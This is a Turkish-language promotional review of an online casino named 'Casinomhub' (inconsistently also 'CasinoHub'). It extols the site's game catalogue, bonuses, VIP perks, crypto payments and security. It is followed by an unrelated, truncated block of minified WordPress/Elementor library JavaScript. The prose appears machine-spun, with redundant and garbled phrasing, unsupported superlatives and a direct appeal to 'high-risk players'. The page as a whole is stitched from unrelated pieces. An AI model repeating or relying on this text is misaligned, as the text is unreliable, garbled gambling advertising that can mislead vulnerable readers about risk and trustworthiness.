Her şeyden önce tüm deneyim verileri, Casinomhub portalının geniş oyun kataloğu ve emniyetli ödeme mekanizması dolayısıyla büyük oranda tatmin edici tatmin seviyesinde oluşur. Platform kullanıcılarının büyük bölümü, kayıt işlemlerinin seri ve hatasız sağlanmasını, kampanya fırsatlarının periyodik olarak yenilenmesini ve hem masaüstünde hem mobilde akıcı bir kullanım deneyimi sunarak olumlu tepkiyle belirtmektedir. Özellikle canlı oyun bölümündeki yüksek kaliteli yayınlar ve uzman canlı krupiyeler, sıkça iyi yorumların odağında dikkat çeker.

Mobil uygulamada oyun oynayan münhal kullanıcıları, çabuk yükleme aralıkları, minimal arabirim ve tek dokunuşla para yatırma süreçlerinin huzurundan, keyif aldıklarını söyler. Buna ek olarak Casinomhub altyapısının VIP üyelik programına katılan site kullanıcıları, özel tasarım promo fırsatlar, ve daha seri çekim yararlarının, hizmeti diğer sitelerden, farklılaştıran önemli bir fayda ifade edildiğini dile getirir.

Ne var ki her web tabanlı serviste olduğu gibi Casinomhub’la alakalı olumsuz geri bildirimler de mevcuttur. Mesela, birkaç kullanıcı, KYC prosedüründe doküman onay işlemlerinin çalışma günü alabilmesinden söz eder. Bu olay, özellikle, ilk defa para çeken kullanıcılar için uzun soluklu bir süreç tespit edilebilmektedir. Üstelik, seyrek olsa da, pik zamanlarda, destek bekleme süresinin uzayabildiği yorumlardan anlaşılır.

Ödeme süreçleri konusunda genelde kesintisiz bir operasyon deneyimlense de, dijital para transferiyle çekim yapan belirli kullanıcılar, işlem onay zamanlarının alternatif yöntemlere göre daha değişken olabileceğini kaydeder. Diğer yandan, Casinomhub platformunun finans işlemlerindeki görünürlüğü ve oyuncuya sistematik bilgilendirme temin etmesi, potansiyel memnuniyetsizliklerin artmasını engelleyen hayati bir faktör olarak dikkat çeker.

Genel olarak üye görüşleri gözden geçirildiğinde, Casinomhub’un endüstride emniyet hissi oluşturan ve bol içerik barındıran bir site favori haline geldiği anlaşılmaktadır. İlk kez oynayanlar hem de deneyimli bahisçiler, platformun oyun kalitesinden ve bonus çeşitliliğinden memnun kaldıklarını aktarmaktadır. İş akışındaki gecikmeler ise genellikle canlı destek veya e-posta yoluyla halledilmekte, üyelerin memnuniyetinin sürekliliği garanti edilmektedir.

Diğer sitelerle Kıyaslama Farklar

Türkiye pazarında yer alan çevrimiçi casinolar, bahisçilere paralel seçenekleri sunuluyor olsa bile, her hallerde hizmet sağlayıcının eşsiz öncü ve zayıf aspektleri mevcuttur. CasinoHub portalı, çevrimiçi pazardaki diğer popüler operatörlerle kıyaslandığında, belirginleşen birkaçı kritik karakteristiğe bulundurması sayesinde değerini sağlamaktadır.“`

Önceliği vererek site altyapısının oyun kataloğu, diğer operatörlere göreceli olarak geniş kapsamlı bir koleksiyon oluşturur. Platformda bir dizi oyun içeriği, onlarca masa içeriği ve büyük canlı casino servisi yer alır. NetEnt, Pragmatic Play, Microgaming ve Evolution Gaming gibi saygın sağlayıcıların oyunlarına tek çatı altında ulaşılabilmesi, kullanıcıların öteki platformlara başka platformlara geçme ihtiyacını büyük ölçüde bertaraf eder. Birkaçı rekabetçi casinolar tek başına birkaçı ile yetinilirken, Casinomhub’un katalog politikası daha geniştir.

Ayrıca önemli bir önemli avantaj, mobil performanstır. CasinoHub portalının hem web üzerinden mobil erişimi hem de özel uygulaması, akış ve verimlilik bakımından piyasadaki rakiplerin çoğundan daha iyi bir seviye sunum yapar. Mobilde düşük internet tüketim modu ve anında bakiye yükleme sistemi, site üyelerinin en tatmin olduğu yönlerdendir.

Promosyon programı açısından da CasinoHub portalının rekabet seviyesi çok güçlüdür. Karşılama bonuslarının dışında düzenli bedava dönüş kampanyaları, slot turnuva etkinlikleri ve VIP sadakat sistemi, platform kullanıcılarının düzenli katılımını cesaretlendirir. Öne çıkan VIP club programındaki yüksek değerli bonus paketleri ve hızlı çekim imkanları, ülkedeki birçok casinoda sunulmayan avantajlardandır. Birçok rakip platform tek seferlik promosyonlarla sınırlanırken, CasinoHub’un promosyon döngüsü sık sık güncellenir.

Para işlem alternatifleri açısından da Casinomhub hizmeti rakiplerinden daha avantajlıdır. Banka transferi, kredi kartı, Papara, Jeton yöntemi ve blockchain ödemesi gibi bol alternatif seti mevcut olurken, çekim süreleri de öncü seviyededir. Başlıca dijital cüzdan ödemelerinde yaklaşık 1 ila 24 saat arası hızlı bir sonuç alınması, üyelerce takdirle karşılanır.

Özetle CasinoHub sitesinin emniyet politikası ve destek yapısı, Türkiye’deki alternatif sitelere kıyasla daha geniştir. SSL encryption teknolojisi, iki aşamalı doğrulama, ve 24 saat aktif chat gibi unsurlar, kullanıcıların siteyi güvenle kullanmasını garanti eder. Pek çok rakip platformda chat desteğinin saat sınırlamasıyla verilmesi veya kimlik doğrulama süreçlerinin daha uzun sürmesi gibi koşullar, Casinomhub’un farklılığını artıran etkenler olarak sayılır.

Tüm bu faktörler birleştiğinde Casinomhub sistemi, Türkiye pazarındaki çok sayıda üyenin ilk sıralarda yer alan yenilikçi ve katılımcı odaklı bir çevrimiçi casino platformu olarak öne çıkarılmaktadır.

Gelecek Stratejileri ve Gelişim Planları

Casinomhub sistemi, sadece bugünkü hizmet düzeyiyle yetinmeyen, aynı zamanda ileriye bakan vizyonu kuvvetli bir hizmet sağlayıcı olarak öne çıkarılır. Casinomhub yönetimi, dijital yenilikleri yakından takip ederek, ülkedeki sektörde rekabet seviyesini yükseltecek yeni özellikler ve stratejik adımlar kurgulamaktadır.

Önümüzdeki süreçte gerçekleştirilecek önemli stratejilerden biri, oyun kataloğunun zenginleştirilmesidir. Halihazırda çeşitli slot ve masa oyunlarını sunan Casinomhub servisi, yeni yazılım ortaklarıyla işbirliği yaparak oyun portföyüne hem özgün video slotlar hem de e-spor bahis seçeneklerini platforma katmayı planlar. Bu planla, sadece slot ve masa oyuncularına değil, e-spor hedef kitlesine de ilgilerinin çekilmesi amaçlanmaktadır.

Modernizasyon çalışmalarında CasinoHub sitesi, yapay zekâ temelli otomatik kampanya sistemi kurulum sürecindedir. Bu modül sayesinde, üyelerin oyun tercihine ve yatırım alışkanlıklarına göre kişisel bonuslar belirlenecek, böylece bonus deneyimi tamamen kişisel bir boyuta taşınacaktır. Ek olarak, kullanıcı arayüzünün tamamen yenilenerek daha seri ve rahat bir deneyim sağlaması da öncelikli hedefler arasındadır.

Casinomhub hizmetinin büyüme vizyonunun önemli bir ayağı, mobil ekosistemin büyütülmesi temelinde yer alır. Yönetim, mobil app’i ek fonksiyonlarla geliştirmek, çok sayıda ödeme seçeneğini dahil etmek ve uygulama içi iletişimi güçlendirmek için projeler uygulamaktadır. Bu kapsamda, mobil segment için özel turnuvalar ve zaman sınırlı promosyonlar sunulması tasarlanmaktadır.

Kullanıcı ağı oluşturma hedefiyle CasinoHub altyapısı, topluluk bağlarını güçlendirecek projeler üzerinde çalışmaktadır. Canlı casino oturumlarına entegre edilecek topluluk iletişim alanları, üyelerin sohbet edebileceği, tüyolar paylaşabileceği ve turnuva aktivitelerine katılabileceği mekanlar sunacak. Bu stratejinin, üye sadakatini artırması düşünülmektedir.

Buna ek olarak, ödül programı da detaylı şekilde güncellenerek VIP üyeler için gelişmiş avantajlar verilecektir. Misal olarak, yüksek oranlı cashback fırsatları, kişisel hesap yöneticisi desteği, ekspres ödeme işlemleri ve kapalı grup etkinlikleri gibi bonusların ilerleyen süreçte gerçekleştirilmesi hedeflenmektedir.

Özetle CasinoHub altyapısının stratejik hedefleri, teknoloji odaklı geliştirmeler, oyun çeşitliliğinin yükselmesi ve topluluk bilincini güçlendirmeye yönelik adımlar üzerine dayanmaktadır. Bu perspektif, sitelerin pazar liderliğini yükseltmesine ve daha geniş bir oyuncu kitlesine erişmesine destek olacaktır.

Son Bakış ve Genel Yorum

Casinomhub altyapısı, Türkiye çevrimiçi casino pazarında hızla yaygın bir oyuncu tabanı oluşturan çağdaş ve güvenli bir site olarak ayrışır. Geniş çaplı analizden ortaya çıktığı üzere, sitenin güçlü yönleri, geniş kullanıcı kitlesinin taleplerine karşılık verecek niteliktedir.

Başlıca olarak sistemin oyun seçenekleri, muadil sitelere göre güçlü bir rekabet avantajı sunar. Çok sayıda slot başlığı, geleneksel masa oyunları, canlı casino masalarının kalitesi ve sürekli artan içerik seçenekleri sayesinde, farklı deneyim seviyelerindeki oyuncular, farklı tercihlere uygun seçenekler seçebilir. Önde gelen NetEnt, Microgaming, Pragmatic Play ve Evolution Gaming gibi güvenilir sağlayıcılarla yapılan iş birlikleri, kalitenin sürekliliğini güvence altına alır.

Casinomhub portalının bonus uygulamaları da kayda değer bir seviyededir. Hoşgeldin paketinden devamlı ücretsiz dönüş kampanyalarına, premium sadakat programından kişisel kampanya fırsatlarına kadar çeşitli promosyon ağı aktif olarak sunulması, tatmin oranını yükselten önemli unsurlardan biridir. Diğer yandan, bonus kurallarının açıkça paylaşılması, site imajını yükseltir.

Finansal işlemler ve güvenlik altyapısı da platformun öne çıkan güçlü yanlarındandır. 256 bit SSL koruması, iki aşamalı doğrulama, seri para çekme süreleri ve çok sayıda ödeme yöntemi, üyelerin para transferlerini huzurla tamamlamasını sağlar. Bilhassa, dijital para çözümleri ile kripto seçeneklerinin eklenmesi, modern oyuncu beklentilerine tam uyumlu bir kullanım sunar.

CasinoHub’un mobil platform performansı da Türkiye pazarındaki pek çok rakibinden ileri düzey bir kullanım sağlar. Üyelerin cep telefonu veya tabletle oyunlara erişmesi, transfer yapması ve canlı destekten faydalanması, masaüstü deneyimden neredeyse farksız bir hız ve kaliteyle gerçekleşir.

Casinomhub platformu, en uygun şekilde, şu oyuncu kitleleri için özellikle tercih edilesidir:

  • Farklı oyun çeşitliliği isteyen tecrübeli oyuncular
  • Tablet ve telefonlardan çabuk işlem gerçekleştirmek isteyen platform kullanıcıları
  • Kampanya fırsatlarını seven oyuncular
  • Özel ayrıcalıklara önem veren yüksek riskli oyuncular
  • Blockchain ödeme çözümlerini kullanan modern bahis severler

Tabii ki, her platformda olduğu gibi Casinomhub servisinde de iyileşme potansiyeli taşıyan noktalar vardır. Özellikle de kimlik doğrulama süreçlerinde ortaya çıkan zaman kayıpları ve yoğun anlarda destek erişiminde yaşanan bekleme süreleri, üyeler tarafından zaman zaman şikayet edilir. Fakat, toplam değerlendirmede sitelerin belirgin artılarının bu eksikliklerin etkisini azalttığı net bir şekilde görülmektedir.

Genel olarak, Casinomhub altyapısı, yüksek güvenlik standartları, çeşitli oyun içerikleri ve erişilebilir tasarımıyla, Türkiye’de konforlu bir casino deneyimi arayan kullanıcılara modern ve güçlü bir platformdur.

/*! elementor - v3.27.0 - 16-02-2025 */ /******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ "../node_modules/@wordpress/element/build-module/create-interpolate-element.js": /*!*************************************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/create-interpolate-element.js ***! \*************************************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./react */ "react"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_react__WEBPACK_IMPORTED_MODULE_0__); /** * Internal dependencies */ /** * Object containing a React element. * * @typedef {import('react').ReactElement} Element */ let indoc, offset, output, stack; /** * Matches tags in the localized string * * This is used for extracting the tag pattern groups for parsing the localized * string and along with the map converting it to a react element. * * There are four references extracted using this tokenizer: * * match: Full match of the tag (i.e. , ,
) * isClosing: The closing slash, if it exists. * name: The name portion of the tag (strong, br) (if ) * isSelfClosed: The slash on a self closing tag, if it exists. * * @type {RegExp} */ const tokenizer = /<(\/)?(\w+)\s*(\/)?>/g; /** * The stack frame tracking parse progress. * * @typedef Frame * * @property {Element} element A parent element which may still have * @property {number} tokenStart Offset at which parent element first * appears. * @property {number} tokenLength Length of string marking start of parent * element. * @property {number} [prevOffset] Running offset at which parsing should * continue. * @property {number} [leadingTextStart] Offset at which last closing element * finished, used for finding text between * elements. * @property {Element[]} children Children. */ /** * Tracks recursive-descent parse state. * * This is a Stack frame holding parent elements until all children have been * parsed. * * @private * @param {Element} element A parent element which may still have * nested children not yet parsed. * @param {number} tokenStart Offset at which parent element first * appears. * @param {number} tokenLength Length of string marking start of parent * element. * @param {number} [prevOffset] Running offset at which parsing should * continue. * @param {number} [leadingTextStart] Offset at which last closing element * finished, used for finding text between * elements. * * @return {Frame} The stack frame tracking parse progress. */ function createFrame(element, tokenStart, tokenLength, prevOffset, leadingTextStart) { return { element, tokenStart, tokenLength, prevOffset, leadingTextStart, children: [] }; } /** * This function creates an interpolated element from a passed in string with * specific tags matching how the string should be converted to an element via * the conversion map value. * * @example * For example, for the given string: * * "This is a string with a link and a self-closing * tag" * * You would have something like this as the conversionMap value: * * ```js * { * span: , * a: , * CustomComponentB: , * } * ``` * * @param {string} interpolatedString The interpolation string to be parsed. * @param {Record} conversionMap The map used to convert the string to * a react element. * @throws {TypeError} * @return {Element} A wp element. */ const createInterpolateElement = (interpolatedString, conversionMap) => { indoc = interpolatedString; offset = 0; output = []; stack = []; tokenizer.lastIndex = 0; if (!isValidConversionMap(conversionMap)) { throw new TypeError('The conversionMap provided is not valid. It must be an object with values that are React Elements'); } do { // twiddle our thumbs } while (proceed(conversionMap)); return (0,_react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_react__WEBPACK_IMPORTED_MODULE_0__.Fragment, null, ...output); }; /** * Validate conversion map. * * A map is considered valid if it's an object and every value in the object * is a React Element * * @private * * @param {Object} conversionMap The map being validated. * * @return {boolean} True means the map is valid. */ const isValidConversionMap = conversionMap => { const isObject = typeof conversionMap === 'object'; const values = isObject && Object.values(conversionMap); return isObject && values.length && values.every(element => (0,_react__WEBPACK_IMPORTED_MODULE_0__.isValidElement)(element)); }; /** * This is the iterator over the matches in the string. * * @private * * @param {Object} conversionMap The conversion map for the string. * * @return {boolean} true for continuing to iterate, false for finished. */ function proceed(conversionMap) { const next = nextToken(); const [tokenType, name, startOffset, tokenLength] = next; const stackDepth = stack.length; const leadingTextStart = startOffset > offset ? offset : null; if (!conversionMap[name]) { addText(); return false; } switch (tokenType) { case 'no-more-tokens': if (stackDepth !== 0) { const { leadingTextStart: stackLeadingText, tokenStart } = stack.pop(); output.push(indoc.substr(stackLeadingText, tokenStart)); } addText(); return false; case 'self-closed': if (0 === stackDepth) { if (null !== leadingTextStart) { output.push(indoc.substr(leadingTextStart, startOffset - leadingTextStart)); } output.push(conversionMap[name]); offset = startOffset + tokenLength; return true; } // Otherwise we found an inner element. addChild(createFrame(conversionMap[name], startOffset, tokenLength)); offset = startOffset + tokenLength; return true; case 'opener': stack.push(createFrame(conversionMap[name], startOffset, tokenLength, startOffset + tokenLength, leadingTextStart)); offset = startOffset + tokenLength; return true; case 'closer': // If we're not nesting then this is easy - close the block. if (1 === stackDepth) { closeOuterElement(startOffset); offset = startOffset + tokenLength; return true; } // Otherwise we're nested and we have to close out the current // block and add it as a innerBlock to the parent. const stackTop = stack.pop(); const text = indoc.substr(stackTop.prevOffset, startOffset - stackTop.prevOffset); stackTop.children.push(text); stackTop.prevOffset = startOffset + tokenLength; const frame = createFrame(stackTop.element, stackTop.tokenStart, stackTop.tokenLength, startOffset + tokenLength); frame.children = stackTop.children; addChild(frame); offset = startOffset + tokenLength; return true; default: addText(); return false; } } /** * Grabs the next token match in the string and returns it's details. * * @private * * @return {Array} An array of details for the token matched. */ function nextToken() { const matches = tokenizer.exec(indoc); // We have no more tokens. if (null === matches) { return ['no-more-tokens']; } const startedAt = matches.index; const [match, isClosing, name, isSelfClosed] = matches; const length = match.length; if (isSelfClosed) { return ['self-closed', name, startedAt, length]; } if (isClosing) { return ['closer', name, startedAt, length]; } return ['opener', name, startedAt, length]; } /** * Pushes text extracted from the indoc string to the output stack given the * current rawLength value and offset (if rawLength is provided ) or the * indoc.length and offset. * * @private */ function addText() { const length = indoc.length - offset; if (0 === length) { return; } output.push(indoc.substr(offset, length)); } /** * Pushes a child element to the associated parent element's children for the * parent currently active in the stack. * * @private * * @param {Frame} frame The Frame containing the child element and it's * token information. */ function addChild(frame) { const { element, tokenStart, tokenLength, prevOffset, children } = frame; const parent = stack[stack.length - 1]; const text = indoc.substr(parent.prevOffset, tokenStart - parent.prevOffset); if (text) { parent.children.push(text); } parent.children.push((0,_react__WEBPACK_IMPORTED_MODULE_0__.cloneElement)(element, null, ...children)); parent.prevOffset = prevOffset ? prevOffset : tokenStart + tokenLength; } /** * This is called for closing tags. It creates the element currently active in * the stack. * * @private * * @param {number} endOffset Offset at which the closing tag for the element * begins in the string. If this is greater than the * prevOffset attached to the element, then this * helps capture any remaining nested text nodes in * the element. */ function closeOuterElement(endOffset) { const { element, leadingTextStart, prevOffset, tokenStart, children } = stack.pop(); const text = endOffset ? indoc.substr(prevOffset, endOffset - prevOffset) : indoc.substr(prevOffset); if (text) { children.push(text); } if (null !== leadingTextStart) { output.push(indoc.substr(leadingTextStart, tokenStart - leadingTextStart)); } output.push((0,_react__WEBPACK_IMPORTED_MODULE_0__.cloneElement)(element, null, ...children)); } /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = (createInterpolateElement); //# sourceMappingURL=create-interpolate-element.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/index.js": /*!****************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/index.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ Children: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Children), /* harmony export */ Component: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Component), /* harmony export */ Fragment: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Fragment), /* harmony export */ Platform: () => (/* reexport safe */ _platform__WEBPACK_IMPORTED_MODULE_4__["default"]), /* harmony export */ PureComponent: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.PureComponent), /* harmony export */ RawHTML: () => (/* reexport safe */ _raw_html__WEBPACK_IMPORTED_MODULE_6__["default"]), /* harmony export */ StrictMode: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.StrictMode), /* harmony export */ Suspense: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Suspense), /* harmony export */ cloneElement: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.cloneElement), /* harmony export */ concatChildren: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.concatChildren), /* harmony export */ createContext: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.createContext), /* harmony export */ createElement: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.createElement), /* harmony export */ createInterpolateElement: () => (/* reexport safe */ _create_interpolate_element__WEBPACK_IMPORTED_MODULE_0__["default"]), /* harmony export */ createPortal: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.createPortal), /* harmony export */ createRef: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.createRef), /* harmony export */ createRoot: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.createRoot), /* harmony export */ findDOMNode: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.findDOMNode), /* harmony export */ flushSync: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.flushSync), /* harmony export */ forwardRef: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.forwardRef), /* harmony export */ hydrate: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.hydrate), /* harmony export */ hydrateRoot: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.hydrateRoot), /* harmony export */ isEmptyElement: () => (/* reexport safe */ _utils__WEBPACK_IMPORTED_MODULE_3__.isEmptyElement), /* harmony export */ isValidElement: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.isValidElement), /* harmony export */ lazy: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.lazy), /* harmony export */ memo: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.memo), /* harmony export */ render: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.render), /* harmony export */ renderToString: () => (/* reexport safe */ _serialize__WEBPACK_IMPORTED_MODULE_5__["default"]), /* harmony export */ startTransition: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.startTransition), /* harmony export */ switchChildrenNodeName: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.switchChildrenNodeName), /* harmony export */ unmountComponentAtNode: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.unmountComponentAtNode), /* harmony export */ useCallback: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useCallback), /* harmony export */ useContext: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useContext), /* harmony export */ useDebugValue: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useDebugValue), /* harmony export */ useDeferredValue: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useDeferredValue), /* harmony export */ useEffect: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useEffect), /* harmony export */ useId: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useId), /* harmony export */ useImperativeHandle: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useImperativeHandle), /* harmony export */ useInsertionEffect: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useInsertionEffect), /* harmony export */ useLayoutEffect: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useLayoutEffect), /* harmony export */ useMemo: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useMemo), /* harmony export */ useReducer: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useReducer), /* harmony export */ useRef: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useRef), /* harmony export */ useState: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useState), /* harmony export */ useSyncExternalStore: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useSyncExternalStore), /* harmony export */ useTransition: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useTransition) /* harmony export */ }); /* harmony import */ var _create_interpolate_element__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./create-interpolate-element */ "../node_modules/@wordpress/element/build-module/create-interpolate-element.js"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./react */ "../node_modules/@wordpress/element/build-module/react.js"); /* harmony import */ var _react_platform__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./react-platform */ "../node_modules/@wordpress/element/build-module/react-platform.js"); /* harmony import */ var _utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./utils */ "../node_modules/@wordpress/element/build-module/utils.js"); /* harmony import */ var _platform__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./platform */ "../node_modules/@wordpress/element/build-module/platform.js"); /* harmony import */ var _serialize__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./serialize */ "../node_modules/@wordpress/element/build-module/serialize.js"); /* harmony import */ var _raw_html__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./raw-html */ "../node_modules/@wordpress/element/build-module/raw-html.js"); //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/platform.js": /*!*******************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/platform.js ***! \*******************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /** * Parts of this source were derived and modified from react-native-web, * released under the MIT license. * * Copyright (c) 2016-present, Nicolas Gallagher. * Copyright (c) 2015-present, Facebook, Inc. * */ const Platform = { OS: 'web', select: spec => 'web' in spec ? spec.web : spec.default, isWeb: true }; /** * Component used to detect the current Platform being used. * Use Platform.OS === 'web' to detect if running on web enviroment. * * This is the same concept as the React Native implementation. * * @see https://reactnative.dev/docs/platform-specific-code#platform-module * * Here is an example of how to use the select method: * @example * ```js * import { Platform } from '@wordpress/element'; * * const placeholderLabel = Platform.select( { * native: __( 'Add media' ), * web: __( 'Drag images, upload new ones or select files from your library.' ), * } ); * ``` */ /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = (Platform); //# sourceMappingURL=platform.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/raw-html.js": /*!*******************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/raw-html.js ***! \*******************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ RawHTML) /* harmony export */ }); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./react */ "react"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_react__WEBPACK_IMPORTED_MODULE_0__); /** * Internal dependencies */ /** @typedef {{children: string} & import('react').ComponentPropsWithoutRef<'div'>} RawHTMLProps */ /** * Component used as equivalent of Fragment with unescaped HTML, in cases where * it is desirable to render dangerous HTML without needing a wrapper element. * To preserve additional props, a `div` wrapper _will_ be created if any props * aside from `children` are passed. * * @param {RawHTMLProps} props Children should be a string of HTML or an array * of strings. Other props will be passed through * to the div wrapper. * * @return {JSX.Element} Dangerously-rendering component. */ function RawHTML({ children, ...props }) { let rawHtml = ''; // Cast children as an array, and concatenate each element if it is a string. _react__WEBPACK_IMPORTED_MODULE_0__.Children.toArray(children).forEach(child => { if (typeof child === 'string' && child.trim() !== '') { rawHtml += child; } }); // The `div` wrapper will be stripped by the `renderElement` serializer in // `./serialize.js` unless there are non-children props present. return (0,_react__WEBPACK_IMPORTED_MODULE_0__.createElement)('div', { dangerouslySetInnerHTML: { __html: rawHtml }, ...props }); } //# sourceMappingURL=raw-html.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/react-platform.js": /*!*************************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/react-platform.js ***! \*************************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ createPortal: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.createPortal), /* harmony export */ createRoot: () => (/* reexport safe */ react_dom_client__WEBPACK_IMPORTED_MODULE_1__.createRoot), /* harmony export */ findDOMNode: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.findDOMNode), /* harmony export */ flushSync: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.flushSync), /* harmony export */ hydrate: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.hydrate), /* harmony export */ hydrateRoot: () => (/* reexport safe */ react_dom_client__WEBPACK_IMPORTED_MODULE_1__.hydrateRoot), /* harmony export */ render: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.render), /* harmony export */ unmountComponentAtNode: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.unmountComponentAtNode) /* harmony export */ }); /* harmony import */ var react_dom__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react-dom */ "react-dom"); /* harmony import */ var react_dom__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react_dom__WEBPACK_IMPORTED_MODULE_0__); /* harmony import */ var react_dom_client__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! react-dom/client */ "../node_modules/react-dom/client.js"); /** * External dependencies */ /** * Creates a portal into which a component can be rendered. * * @see https://github.com/facebook/react/issues/10309#issuecomment-318433235 * * @param {import('react').ReactElement} child Any renderable child, such as an element, * string, or fragment. * @param {HTMLElement} container DOM node into which element should be rendered. */ /** * Finds the dom node of a React component. * * @param {import('react').ComponentType} component Component's instance. */ /** * Forces React to flush any updates inside the provided callback synchronously. * * @param {Function} callback Callback to run synchronously. */ /** * Renders a given element into the target DOM node. * * @deprecated since WordPress 6.2.0. Use `createRoot` instead. * @see https://react.dev/reference/react-dom/render */ /** * Hydrates a given element into the target DOM node. * * @deprecated since WordPress 6.2.0. Use `hydrateRoot` instead. * @see https://react.dev/reference/react-dom/hydrate */ /** * Creates a new React root for the target DOM node. * * @since 6.2.0 Introduced in WordPress core. * @see https://react.dev/reference/react-dom/client/createRoot */ /** * Creates a new React root for the target DOM node and hydrates it with a pre-generated markup. * * @since 6.2.0 Introduced in WordPress core. * @see https://react.dev/reference/react-dom/client/hydrateRoot */ /** * Removes any mounted element from the target DOM node. * * @deprecated since WordPress 6.2.0. Use 